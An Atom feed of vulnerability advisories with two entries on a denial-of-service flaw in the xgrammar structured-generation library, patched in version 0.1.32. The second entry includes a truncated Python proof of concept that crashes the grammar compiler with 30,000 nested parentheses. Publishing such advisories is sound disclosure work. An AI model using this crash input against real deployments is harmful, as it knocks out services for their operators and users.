<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-02T16:24:04.265268+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2026-25048</id>
    <title>CVE-2026-25048 — xgrammar: Multi-layer nesting causes DoS</title>
    <updated>2026-10-02T16:24:04.266943+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> mlc-ai xgrammar, Red Hat AI Inference Server 3.2, Red Hat OpenShift AI 2.25, Red Hat AI Inference Server, Red Hat Enterprise Linux AI (RHEL AI) 3, Red Hat OpenShift AI (RHOAI)</p>
<p>xgrammar is an open-source library for efficient, flexible, and portable structured generation. Prior to version 0.1.32, the multi-level nested syntax caused a segmentation fault (core dumped). This issue has been patched in version 0.1.32.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2026-25048"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-7rgv-gqhr-fxg3</id>
    <title>GHSA-7rgv-gqhr-fxg3 — xgrammar vulnerable to DoS via multi-layer nesting</title>
    <updated>2026-10-02T16:24:04.267008+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: xgrammar</p>
<p>### Summary</p>
<p>The multi-level nested syntax caused a segmentation fault (core dump).</p>
<p>### Details</p>
<p>A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.</p>
<p>### PoC</p>
<p>```
#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""</p>
<p>import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig</p>
<p>s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"</p>
<p>def main():
    device = "cuda" if torch.cuda.is_available() else "cpu"
    model_name = "Qwen/Qwen2.5-0.5B-Instruct"
    
    # Load model
    model = AutoModelForCausalLM.from_pretrained(
        model_name,
        torch_dtype=torch.float16 if device == "cuda" else torch.float32,
        device_map=device
    )
    tokenizer = AutoTokenizer.from_pretrained(model_name)
    config = AutoConfig.from_pretrained(model_name)
    
    # Math expression grammar
    math_grammar = grammar
    
    # Setup
    tokenizer_info = xgr.TokenizerInfo.from_huggingface(
        tokenizer,
        vocab_size=config.vocab_size
    )
    compiler = xgr.GrammarCompiler(tokenizer_info)
    compiled_grammar = compiler.compile_grammar(math_grammar)
    
    # Generate
    prompt = "Math: "
    inputs = tokenizer(prompt, return_tensors="pt").to(device)
    
    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
    
    output_ids = model.generate(
        **inputs,
        max_new_tokens=50,…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-7rgv-gqhr-fxg3"/>
  </entry>
</feed>
